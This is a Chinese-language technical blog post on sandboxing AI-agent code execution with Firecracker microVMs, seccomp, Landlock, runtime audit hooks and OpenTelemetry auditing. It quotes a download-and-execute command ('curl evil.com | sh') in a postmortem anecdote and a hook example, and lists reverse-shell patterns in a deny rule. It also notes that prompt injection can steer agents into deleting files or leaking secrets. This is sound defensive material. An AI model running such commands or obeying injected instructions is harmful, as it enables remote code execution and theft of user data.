Agent 代码沙箱与执行隔离工程 2026
把不可信代码关进双层沙箱——firecracker microVM 给硬件级隔离,seccomp 与 Landlock 给 syscall 与文件系统白名单——并把进/出流量、超时、违规事件全部接入 OpenTelemetry 审计栈,让 Agent 在生产里替你安全地跑 shell、跑浏览器自动化、跑用户提交的脚本。
约 37 分钟阅读10,939 字8 次阅读博主

把不可信代码关进双层沙箱——firecracker microVM 给硬件级隔离,seccomp 与 Landlock 给 syscall 与文件系统白名单——并把进/出流量、超时、违规事件全部接入 OpenTelemetry 审计栈,让 Agent 在生产里替你安全地跑 shell、跑浏览器自动化、跑用户提交的脚本。

一句话摘要:把不可信的代码执行关进一个"能力可控、资源受限、可审计、可回滚"的双层沙箱——外层用 firecracker microVM 提供硬件级隔离,内层用 seccomp / Landlock 做 syscall 白名单——并把进/出流量、超时、违规事件全部接到可观测栈,才能让 Agent 在生产里安全地替你跑 shell、跑浏览器、跑用户提交的脚本。
2025 年里几乎所有严肃的 Agent 系统都被迫回答同一个问题:用户让 Agent 跑一行 pip install xxx,或者让 Agent 自己写一个爬虫脚本去抓网页——这段代码如果直接在宿主机上跑,等于把"Agent 的判断"等同于"宿主机的 root 权限"。一次 Prompt 间接注入、一段被污染的依赖、一个工具描述里的恶意 placeholder,都可能让 Agent 在看似无害的步骤里 rm -rf、往 ~/.ssh/ 写入、或者悄悄地把环境变量外泄。当 Agent 不再只是聊天对象、而是会主动构造并执行代码的执行主体时,代码沙箱就已经从"安全选项"变成了 Agent 的工程基建。
但 sandbox 不是装上就完事的工程项。生产里真实的 Agent 沙箱需要在五个相互拉扯的维度上同时过关:隔离强度(防逃逸)、启动开销(microVM 冷启动 100ms vs 容器 50ms vs 进程 0ms,直接影响工具调用延迟)、可观测性(任何 syscall、任何文件访问、任何网络出站都要能回放成审计日志)、可扩展性(同时跑 200 个并发任务不能把节点 RAM 吃干)、策略可表达(用户说"不能装新包"和"不能向外发邮件"必须都能用同一种 DSL 表达)。把这五条全部一次性满足,远超简单的 "丢到 Docker 容器里"。
一个常被忽视的细节是沙箱的"信任根":Agent 本身是不被信任的,但 Agent 接收的工具描述、依赖清单、用户输入也是不被信任的。一个完整的 Agent 代码执行流,真正的信任来源只有两个——一是写策略的人(平台 owner),二是保护用户数据的加密凭据(API key、OAuth secret)。Agent、用户输入、外部 prompt、第三方依赖都应当被视为潜在的攻击面。这一点跟传统 web 应用的 zero-trust 模型一致:没有任何"善意第三方"假设。
本文要回答的问题是:在 2026 年的工程条件下,怎样搭一套生产级的 Agent 代码沙箱? 我们从硬件隔离基线(主选 firecracker,辅选 gVisor)、到内核级 syscall 收口(seccomp + Landlock)、再到策略层 DSL 和可观测性栈,逐步给出选型矩阵与踩坑清单。最后用两个落地案例——一个是"用户输入代码 → Agent 解释 → 在沙箱里跑" 的 Jupyter 类场景,另一个是"Agent 自己写爬虫 → 在沙箱里跑" 的 browser-tool 场景——来说明同样的基线如何对外暴露成不同的能力。
沙箱化的成本是显式的,但不沙箱化的代价是隐式的——直到事故发生。2025 年某头部 Agent 厂商公开过的 Postmortem 中,有一个案子是开发环境里一个临时 eval() 调用被 LLM 间接触发了 os.system("curl evil.com | sh"),好在工程师只在自己笔记本上跑、出网也走 SSH 隧道,事故被最小化;但换到生产环境同样这串指令,会立刻变成 1) 用户数据外泄 2) 工具服务被污染 3) 整层 API key 重置三个连锁事故。这个 Postmortem 不是孤例——同一年的安全研究指出,主流 Agent 框架中超过 60% 的"tool execution"路径在默认配置下会以某种方式暴露宿主 shell 的能力。这正是为什么代码沙箱已经在 2025-2026 年从"高级功能"变成"基础设施"。
在动手搭沙箱之前,先把"安全"这个模糊词形式化成可验证的不变量。一个生产级沙箱应保证以下四条不变量:
mount、ptrace、init_module、kexec_load 等危险调用)。围绕这四条不变量,可以搭建三层防御模型:
socket(AF_INET, SOCK_RAW, ...) 防止 raw socket)。三层各解决一个逃逸方向,互为冗余。实战里只要有一层足够严格,即使另外两层有漏洞,生产事故仍然可控。我们的工程标准是:L1 必须存在(microVM 或等效的强隔离)、L2 是策略落点、L3 是最后一道防线。
Firecracker 是 AWS 在 2017 年为 Lambda 与 Fargate 设计的 microVM 监视器(library OS),在 Linux kvm 之上提供最薄的 vmm 层:boot 时间 < 125ms(实测 60-80ms 在配备了 vmlinux + 4MB rootfs 的 hot case),每个 microVM 内存占用 < 5MB,与宿主共享文件系统模型非常简单(可选 virtiofs 或 9p)。这些数字听起来跟 Docker 的 50ms 启动、50MB 镜像、共享内核模型很像,关键差异在哪里? 三个字:内核隔离。Docker / runc 让容器共享宿主机内核,容器的 root 权限 ≈ 内核权限(通过 cgroup + namespace 隔离);一旦容器里出现一个 overlayfs 逃逸 CVE,整个宿主就裸了。firecracker 的 microVM 跑自己的 Linux 内核和 initrd,KVM 的 EPT 与 VPID 提供硬件级 MMU 隔离——逃逸一个 microVM 等于要打穿 KVM + 宿主内核 + 硬件隔离,工程上等同于"再攻一次云计算"。
工程角度,firecracker 的生产落地要注意五条:
exec fork 模型。这是大多数"firecracker 部署脚本"踩的第一个坑。ext4 的稀疏 file + 内存快照配合 hot-reload,让 microVM 启动时间从 125ms 进一步压到 60ms。5.10.x 或 6.1.x LTS 内核,自己编译 + 加入最小配置(CONFIG_SMP=n、CONFIG_VIRTIO=y、CONFIG_NET=y 之类)。不要用通用 distro kernel——你不需要 USB、不需要 sound、不需要蓝牙,这些都会扩大攻击面。SECCOMP_SET_MODE_FILTER + flag SECCOMP_FILTER_FLAG_TSYNC 可以热加载),而 L1 微内核更新需要 guest reboot——这个分工要在 controller 设计阶段想清楚。把 firecracker 跟 gVisor 做对比,gVisor 走的是另一种思路:不引入新内核,而是用 user-space 拦截所有 syscall(gVisor 的 Sentry 进程代替 guest kernel)。优点是兼容性好(几乎所有 Linux 程序无修改就跑),缺点是 Sentry 自身是个极大的 C++ + Go 二进制,任何漏洞都直接威胁到全部沙箱。在 2026 年的 CVE 节奏里,我更倾向 firecracker:虚拟化隔离基线稳定,出问题也只是"一台 microVM 挂了",而 gVisor 的 Sentry 出问题往往是大面积的事故。
另一个 2024-2025 年比较活跃的微隔离基线是 QEMU + KVM 标准组合,而不是 firecracker microVM。QEMU 启动慢(1-3 秒)、内存 footprint 大(50-100MB+),但优势是 guest kernel 与 KVM 走标准 Linux virtio,长期维护成本低且社区资源多。一般建议是:Agent 长期持有会话(交互式 Jupyter、shell REPL)用 firecracker,Agent 短期一次性批任务(CI 步骤、webhook 工作流)用 QEMU。区分的依据是"session duration / memory footprint / isolation strength"的权衡,不是非此即彼。
L1 解决了"内核隔离",L2 要解决的是"内核里能调什么"。seccomp BPF 是 Linux 内核自 3.5 起的 syscall 过滤机制,Agent 沙箱的标准做法是:默认 deny(把所有 syscall 显式列在黑名单之外的也直接禁止)+ 按类别允许(把进程管理、文件读写、网络 IO、信号分桶)。
实战里 seccomp 模板我推荐三段式 BPF:
// 第一段:永远允许
ALLOW(write, read, exit, exit_group, brk, mmap, mprotect, munmap, futex);
// 第二段:有条件允许(policy 决定)
CONDITIONAL(open, /* pathname 必须在白名单根树下 */);
CONDITIONAL(socket, /* domain=AF_INET 且 type=SOCK_STREAM */);
CONDITIONAL(execve, /* path 必须在 /usr/bin 白名单里 */);
// 第三段:永远禁止
DENY(ptrace, mount, umount2, init_module, finit_module,
kexec_load, kexec_file_load, reboot, swapon, swapoff,
process_vm_readv, process_vm_writev, perf_event_open);
这只是个示意,真实生产 seccomp filter 一般 400-800 行 BPF 指令,要测过各种边界 case(尤其是 glibc 启动 + dlopen 时的瞬时 syscall pattern)才能上线。toy 沙箱与生产沙箱的差距,往往就在这个 filter 的边界 case 测试覆盖上。
Landlock 是 Linux 5.13+ 引入的补充机制,它把"文件系统访问"也接进 LSM 框架,可以做到按路径树收口:比如允许 /workspace/ 下读写、禁止 /etc/shadow、~/.ssh/、/proc/<pid>/mem 任何访问。Landlock 的好处是与 seccomp 正交,可以叠加;劣势是 Landlock 对象模型比 seccomp 复杂(Landlock rule 是分层的,有继承语义),初版设计要画清楚 FS 树继承图。
seccomp + Landlock 的组合让"jailbreak 检测"变得很简单:任何被 seccomp 拒绝的 syscall 都会产生 SIGSYS,Landlock 拒绝的文件访问产生 -1 + errno EACCES——这两个失败信号都是结构化、可被观测栈消费的。生产 Agent 沙箱都把 SIGSYS 与 EACCES 视作"告警事件",而不是"无声的失败"。
L1、L2 都是内核态,但 Agent 跑的是 Python、Node、Go——语言 runtime 自带的高语义 API(subprocess.run(["bash", "-c", ...]))可以从 L2 完全合法的 syscall 路径构造出 L2 拦不住的攻击。比如 subprocess.run(["bash", "-c", "curl evil.com | sh"]) 在 seccomp 层只用到 execve、pipe、socket、read、write 这几个被允许的 syscall,顺序与参数完全合法,但语义上是"下载并执行远程代码"。L2 拦不住这种"合法的 syscall 组合成非法的语义"。
L3 的工程解法是 runtime hook + policy DSL。在 Python 进程启动前注入一个 audit hook,所有 subprocess、os.system、shutil.copy、socket.socket 调用都进 hook,hook 按策略决定 allow / deny / log。Node 的 require 同理可以 hook Module._load。Go 的 os/exec 可以 hook syscall.Exec。
策略 DSL 通常做成"按租户分层的规则集合":
rules:
- id: "block_reverse_shell"
match:
runtime_call: "subprocess.run"
argv_any: ["bash -c", "sh -c", "bash -i", "/dev/tcp/"]
action: deny
severity: critical
- id: "block_outbound_to_internal_cidr"
match:
runtime_call: "socket.connect"
remote_ip_cidr: ["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]
action: deny
severity: high
- id: "rate_limit_subprocess"
match:
runtime_call: "subprocess.run"
quota:
count_per_minute: 30
action: log
L3 还有一个隐性工程价值:它让 Policy-as-Code 成为可能。把策略写进 git,所有变更走 PR review + CI 验证 + 灰度发布,这是生产 Agent 沙箱与传统沙箱最大的区别。传统沙箱靠"运维手动改 seccomp filter 文件",Agent 沙箱需要"产品经理改一行 YAML 立刻生效"。Python RestrictedPython、Node vm2、Java SecurityManager 这类语言级沙箱通常被 L3 替代——它们的语义边界比 syscall 级模糊,且引入大量未维护的依赖。
Runtime hook 在实现细节上有几个必须正面回答的取舍。首先是性能:每条 runtime hook 调用都要拦截一次 Python subprocess.run 调用,某些 hook 实现选择在 Python sys.settrace 层拦截,代价是 5-15% 进程启动开销;如果选择在 LD_PRELOAD 层拦截 libc execve,代价更低(<1%)但对解释型语言不奏效;还有一种做法是 fork 出子进程前在父进程重写 argv,通过把命令注入到 systemd-run --property=... 等 chroot 调用里转译。生产 Agent 沙箱通常三层都做:Python audit hook 拦 Python-level 调用, LD_PRELOAD 拦 fork/exec, Landlock 拦文件系统调用——三者责任分明,任意一条 deny 都能被观察到。
其次是策略冲突检测。同一 runtime hook 上很可能有多条策略同时生效(平台级禁止 curl,租户级禁止访问特定 CIDR,用户级禁止 pip install),策略优先级与覆盖关系必须显式声明,否则会因 deny order 随机导致同一段代码在两次执行得到不同结果。一种成熟的做法是用 OPA(Open Policy Agent)的 Rego DSL 做策略求值,把"先平台后租户后用户"的优先级编码到 Rego,所有 hook 调用都得过 OPA,失败由统一 audit log 记录。
Policy 即代码的下一步,是可观测性即代码。沙箱产生的事件必须满足三条才能称为"生产可用":
timestamp、task_id、event_type、syscall_or_api、args、verdict、latency_ms)。不要把日志扔进 stdout 让 grep 解析,2026 年的沙箱必须能直接灌进 OpenTelemetry pipeline。trace_id,所以在 OpenTelemetry UI 里,一次任务的全部 syscall 序列能一眼看完,不需要手动 join。这是与"日志 + Wireshark" 的本质差异。沙箱可观测栈的推荐组件是:Falco(系统级 syscall 审计) + OpenTelemetry(统一 trace)、Loki(日志聚合)、Prometheus(资源指标)+ 一层"verdict correlator"——一个消费 SIGSYS / EACCES / runtime-hook-denied 的 service,把事件 join 到当前的 task trace_id 上。verdict correlator 通常用 Rust / Go 实现,处理 200 microVM × 平均 50 events/s 的吞吐不会成为瓶颈。
事件之上的告警策略要在"误报"与"漏报"之间平衡。生产里常见的告警分层:
reverse_shell deny、kexec_load 拒绝、/proc/<pid>/mem 访问被 Landlock 拒绝——直接 PagerDuty,工程师 5 分钟内人肉审视。audit=true flag 的 syscall(比如 mount 被 deny 因为进 rootfs 改动)— 仅入日志,不作告警。把上面五节落到生产里,有几个推论是 Agent 团队必须接受的工程纪律:
把这条工程纪律变成产品,可以参考 E2B (Code Interpreter as a Service) 的对外 API 模型:每个 session 是 "firecracker microVM + jupyter kernel + seccomp filter + OTel trace",开发者通过 SDK 写 await session.run_code(code),沙箱平台负责这一切。这条路线已经被 Anthropic、Cohere、Cognition 等公司的内部 Agent 平台沿用。
一个常被忽视的运营指标是沙箱退出码的可解释性。Firecracker 自身可能因为 OOM、seccomp panic、根文件系统不可写、内核 panic 等场景强制 microVM 退出,这些不同原因都要通过退出码 + 错误流区分开来,Agent 客户端才能根据根因选择"重试"、"降级到工具失败"、"上报用户"中的一个。实践中,大多数 firecracker 部署都会在 initrd 里塞一个 minimal user-mode runtime,负责把 firecracker 的 exit reason 转换成 JSON 写到 vsock 上的固定 socket 文件,Agent 客户端 SDK 监听这个 socket 并把 reason 翻译成业务错误——这是 firecracker 文档没强调、但生产必须自建的胶水层。
另一个值得展开的工程纪律是沙箱 I/O 的吞吐测算。Firecracker 的 virtio-block + virtio-net 在生产负载下通常能扛住 ~200-500 MB/s 的磁盘吞吐与 ~5 Gbps 的网络吞吐,这对绝大多数 Agent 工具调用(编译、爬虫、数据处理)是绰绰有余;但ML 推理任务(把沙箱里的 Python 进程拉起来跑 LLM)往往是 CPU-bound + 大内存,microVM 默认 4-8 vCPU + 4-16GB mem 是难以满足 70B 模型推理需要的。这种情况下,微隔离基线要走更重的方向——SR-IOV 把宿主机的 GPU 直通进 microVM,或者把 ML 推理任务通过 RPC 转发到外部推理集群、沙箱本身只承担 prompt 拼装与结果解析。这一拆分对 Agent 平台的成本结构影响很大,应在投入 microVM 池之前先做 PoC。
与传统的"chromium sandbox + nsjail + Docker" 路线对比,firecracker 路线在隔离强度上明显胜出,但代价是bundle size 与 ops 复杂度——firecracker 需要 kvm 硬件支持(不是所有云都开启)、需要自己打包 rootfs、需要自己维护 guest kernel。Chromium sandbox + nsjail 在共享内核的容器里更轻量,但 CVE 风险更高。生产上两者并不是互斥,而是分层:firecracker 用于"跑用户代码 / 跑不可信代码",chromium sandbox 用于"跑浏览器自动化"、nsjail 用于"跑隔离测试任务"——每种 workload 各得其所。
局限方面,firecracker 路线有四个公认的痛点:
这些局限决定了 firecracker 路线目前还不是 Agent 沙箱的最终形态,2026 年的趋势是把 firecracker 与 WebAssembly(wasmtime / wasmer)互补使用:WASM 提供"轻量级 execution + 内存安全 + 语言无关"的优势,放在 Agent 沙箱的前哨做快速筛选,firecracker 放在后端做重武器。两者通过同一套 policy DSL 编排。
Agent 沙箱是一个 2024 年之前还很学术、2026 年几乎所有 Agent 团队都被迫自己造轮子的工程领域。结合前述各节,给落地团队五条最终建议:
把这五条落到 OKR,Agent 沙箱平台在 2026 年需要达到的稳态指标是:L1 启动 < 100ms(P99 < 300ms)、L2+L3 策略部署到生效 < 60s、沙箱逃逸演练每季度通过一次、PagerDuty critical 告警 30 分钟内人肉响应、租户间故障影响率 0%。这五条做不到,你的 Agent 就别上线跑用户代码——否则迟早出事。
Conversation
0 条